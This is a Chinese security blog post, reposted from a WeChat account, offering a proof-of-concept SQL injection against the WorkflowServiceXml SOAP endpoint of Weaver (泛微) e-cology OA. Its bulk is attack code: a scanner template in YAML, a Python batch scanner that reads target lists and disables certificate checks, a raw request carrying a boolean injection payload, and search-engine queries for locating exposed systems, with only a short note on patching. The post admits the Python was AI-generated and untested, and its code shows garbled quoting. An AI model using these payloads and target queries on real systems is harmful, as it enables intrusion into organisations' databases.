泛微e-cology WorkflowServiceXml SQL注入 POC

admin 2024年7月17日09:35:19评论43 views字数 4066阅读13分33秒阅读模式

 

POC(Yaml&Python)

话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)

  • 「Yaml」
id: Weaver-oa-e-cology-WorkflowServiceXml-sqli

info:
name: 泛微e-cology WorkflowServiceXml SQL注入
author: god
severity: high
description: 泛微e-cology WorkflowServiceXml SQL注入
metadata:
fofa-query: app="泛微-OA(e-cology)"
tags: weaver,oa,sqli

http:
- raw:
- |-
@timeout: 30s
POST /services/WorkflowServiceXml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
<web:string>1=1</web:string>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>

max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(body_1, "WorkflowRequestInfo")'
condition: and

 

泛微e-cology WorkflowServiceXml SQL注入 POC

泛微e-cology WorkflowServiceXml SQL注入 POC

  • 「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

RED = '�33[91m'
RESET = '�33[0m'
# 忽略证书验证警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_sql_injection(url):
headers = {
'User-Agent''Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36',
'Content-Type''text/xml',
'Accept-Encoding''gzip'
}

data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver">
<soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
<web:string>1=1</web:string>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>'''

try:
response = requests.post(f"{url.rstrip('/')}/services/WorkflowServiceXml", headers=headers, data=data, verify=False, timeout=30)
if response.status_code == 200 and "WorkflowRequestInfo" in response.text:
print(f"{RED}URL [{url}] 存在泛微e-cology WorkflowServiceXml SQL注入漏洞{RESET}")
else:
print(f"URL [{url}] 可能不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")

def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在泛微e-cology WorkflowServiceXml SQL注入漏洞')
parser.add_argument('-u''--url', help='指定目标地址')
parser.add_argument('-f''--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

if args.url:
if not args.url.startswith("http://"and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_sql_injection(args.url)
elif args.file:
with open(args.file, 'r'as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://"and not url.startswith("https://"):
url = "http://" + url
check_sql_injection(url)

if __name__ == '__main__':
main()

 

泛微e-cology WorkflowServiceXml SQL注入 POC

漏洞介绍

E-Cology OA协同商务系统是一款面向中大型组织的数字化办公产品,它基于全新的设计理念和管理思想,旨在为中大型组织创建一个全新的高效协同办公环境。其WorkflowServiceXml接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作,还有可能直接通过sql注入获取服务器权限。

泛微e-cology WorkflowServiceXml SQL注入 POC

资产测绘

  • 「Fofa」

app="泛微-OA(e-cology)"

  • 「Hunter」

app.name="泛微 e-cology OA"

  • 「Quake」

app="泛微 e-Cology"

泛微e-cology WorkflowServiceXml SQL注入 POC

漏洞复现

「1、构造数据包」

POST /services/WorkflowServiceXml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
<web:string>1=1 AND 5615=5615</web:string>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>

「2、查看返回包」

泛微e-cology WorkflowServiceXml SQL注入 POC

修复方案

  • 官方已发布安全补丁,建议联系厂商打补丁或升级版本。
  • 引入Web应用防火墙防护,配置接口拦截策略。

 

原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】泛微e-cology WorkflowServiceXml SQL注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月17日09:35:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   泛微e-cology WorkflowServiceXml SQL注入 POChttps://cn-sec.com/archives/2964045.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息